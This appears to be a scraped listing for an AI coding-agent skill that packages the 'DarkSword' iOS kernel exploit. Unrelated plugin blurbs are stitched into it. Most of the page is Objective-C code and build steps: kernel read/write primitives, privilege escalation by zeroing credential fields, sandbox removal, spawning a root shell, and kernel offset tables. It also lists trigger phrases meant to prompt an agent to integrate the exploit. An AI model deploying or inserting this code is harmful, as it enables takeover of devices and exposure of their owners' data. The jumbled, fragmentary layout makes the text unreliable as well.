From aradotso-trending-skills-37
Provides Objective-C reimplementation of DarkSword kernel exploit for iOS 15.0–26.0.1 with kernel read/write primitives and privilege escalation. For iOS jailbreaks, tooling, research.
npx claudepluginhub joshuarweaver/cascade-ai-ml-agents-misc-1 --plugin aradotso-trending-skills-37This skill uses the workspace's default tool permissions.
```markdown
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
---
name: darksword-kexploit
description: iOS kernel exploit (iOS 15.0–26.0.1) reimplemented in Objective-C, providing kernel read/write primitives and privilege escalation on supported devices.
triggers:
- integrate darksword kernel exploit
- use DarkSword kexploit in my iOS project
- kernel read write primitives iOS
- iOS privilege escalation exploit Objective-C
- kernel exploit offsets iOS 15
- implement kernel exploit in Objective-C
- darksword exploit setup and usage
- iOS jailbreak kernel exploit integration
---
# DarkSword Kernel Exploit
> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.
DarkSword is a kernel exploit for iOS 15.0–26.0.1, reimplemented in Objective-C. It provides kernel-level read/write primitives and privilege escalation capabilities. Offsets are currently hardcoded for iOS 15.x; extending to other versions requires supplying correct kernel offsets.
---
## What It Does
- Exploits a kernel vulnerability present in iOS 15.0 through 26.0.1
- Provides arbitrary kernel memory read (`kread`) and write (`kwrite`) primitives
- Enables privilege escalation (setuid 0 / unsandboxing)
- Written in Objective-C for easy integration into iOS tooling, jailbreaks, or research projects
---
## Installation
### Adding to an Xcode Project
1. Clone the repository:
```bash
git clone https://github.com/opa334/darksword-kexploit.git
Drag the source files into your Xcode project target.
Ensure your project's build settings include:
Import the main header:
#import "DarkSword.h"
ARCHS = arm64 arm64e
TARGET = iphone:clang:latest:15.0
include $(THEOS)/makefiles/common.mk
TOOL_NAME = myexploit
myexploit_FILES = main.m DarkSword.m exploit_helpers.m
myexploit_CFLAGS = -fobjc-arc
myexploit_LDFLAGS = -lSystem
include $(THEOS_MAKE_PATH)/tool.mk
#import "DarkSword.h"
int main(int argc, char *argv[]) {
@autoreleasepool {
DarkSword *exploit = [[DarkSword alloc] init];
BOOL success = [exploit run];
if (!success) {
NSLog(@"[!] Exploit failed.");
return 1;
}
NSLog(@"[+] Exploit succeeded. Kernel task port: %d", exploit.kernelTaskPort);
}
return 0;
}
#import "DarkSword.h"
// Read 8 bytes (uint64_t) from a kernel address
uint64_t ReadKernel64(DarkSword *exploit, uint64_t address) {
uint64_t value = 0;
[exploit kread:address into:&value size:sizeof(uint64_t)];
return value;
}
// Example: read kernel slide from a known pointer
uint64_t kernelBase = ReadKernel64(exploit, KNOWN_KERNEL_POINTER_OFFSET);
NSLog(@"[+] Kernel base: 0x%llx", kernelBase);
#import "DarkSword.h"
// Write 8 bytes to a kernel address
void WriteKernel64(DarkSword *exploit, uint64_t address, uint64_t value) {
[exploit kwrite:address from:&value size:sizeof(uint64_t)];
}
// Example: patch a kernel flag
uint64_t targetAddr = kernelBase + SOME_OFFSET;
WriteKernel64(exploit, targetAddr, 0x1);
NSLog(@"[+] Kernel flag patched at 0x%llx", targetAddr);
#import "DarkSword.h"
#import <unistd.h>
void escalatePrivileges(DarkSword *exploit) {
// Get current task's proc pointer from kernel
uint64_t currentProc = [exploit currentProc];
// Overwrite uid/gid fields to 0 (root)
uint64_t ucredOffset = [exploit ucredOffsetForProc:currentProc];
uint64_t ucred = ReadKernel64(exploit, currentProc + ucredOffset);
// Zero out cr_uid, cr_gid, cr_ruid, cr_rgid
for (int i = 0; i < 4; i++) {
WriteKernel64(exploit, ucred + (i * 4), 0x0);
}
NSLog(@"[+] UID after escalation: %d", getuid()); // Should print 0
}
Since offsets are hardcoded for iOS 15.x, you must supply correct offsets for other versions:
#import "DarkSword.h"
// Create a KernelOffsets struct (check DarkSword.h for definition)
KernelOffsets offsets = {
.proc_ucred = 0xD8, // offsetof(proc, p_ucred) for your iOS version
.ucred_cr_uid = 0x18,
.task_itk_self = 0xD8,
.kernelslide = 0x0, // determined at runtime
// ... fill remaining fields per iOS version
};
DarkSword *exploit = [[DarkSword alloc] initWithOffsets:offsets];
BOOL success = [exploit run];
Use jtool2 or iometa on the kernelcache for your target iOS version:
# Extract and analyze kernelcache
img4tool -e kernelcache.img4 -o kernelcache.dec
jtool2 --analyze kernelcache.dec
# Find struct offsets
iometa -A kernelcache.dec | grep "proc\|ucred\|task"
| Field | Description | Default (iOS 15.x) |
|---|---|---|
proc_ucred | Offset of p_ucred in proc struct | Hardcoded |
ucred_cr_uid | Offset of cr_uid in ucred struct | Hardcoded |
task_itk_self | Offset of itk_self in task struct | Hardcoded |
kernelslide | KASLR slide (computed at runtime) | 0x0 |
vm_map_offset | Offset of vm_map in task | Hardcoded |
#import <UIKit/UIKit.h>
#import "DarkSword.h"
BOOL isSupportedVersion(void) {
NSOperatingSystemVersion minVer = {15, 0, 0};
NSOperatingSystemVersion maxVer = {26, 0, 1};
NSProcessInfo *info = [NSProcessInfo processInfo];
return [info isOperatingSystemAtLeastVersion:minVer] &&
![info isOperatingSystemAtLeastVersion:(NSOperatingSystemVersion){26, 0, 2}];
}
int main(int argc, char *argv[]) {
@autoreleasepool {
if (!isSupportedVersion()) {
NSLog(@"[!] Unsupported iOS version.");
return 1;
}
DarkSword *exploit = [[DarkSword alloc] init];
[exploit run];
}
return 0;
}
void unsandbox(DarkSword *exploit) {
uint64_t proc = [exploit currentProc];
uint64_t ucred = ReadKernel64(exploit, proc + [exploit ucredOffsetForProc:proc]);
// Clear sandbox label pointer (cr_label offset varies by version)
uint64_t crLabelOffset = 0x78; // iOS 15.x example
WriteKernel64(exploit, ucred + crLabelOffset, 0x0);
NSLog(@"[+] Sandbox removed for current process");
}
#import <spawn.h>
void spawnRootShell(DarkSword *exploit) {
escalatePrivileges(exploit);
unsandbox(exploit);
pid_t pid;
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { "PATH=/usr/bin:/bin:/usr/sbin:/sbin", NULL };
posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, envp);
waitpid(pid, NULL, 0);
}
kread first.jtool2 --analyze or iometa on the specific kernelcache build.DarkSword.h and exploit_helpers.h in files that use KernelOffsets.-fobjc-arc).com.apple.private.security.no-sandbox and task_for_pid-allow entitlements (only grantable via jailbreak or developer bypass).darksword-kexploit/
├── DarkSword.h # Main public header (API surface)
├── DarkSword.m # Core exploit implementation
├── exploit_helpers.h # Utility types and macros
├── exploit_helpers.m # Helper functions (kread/kwrite wrappers)
├── offsets.h # Hardcoded iOS 15.x kernel offsets
└── main.m # Example entry point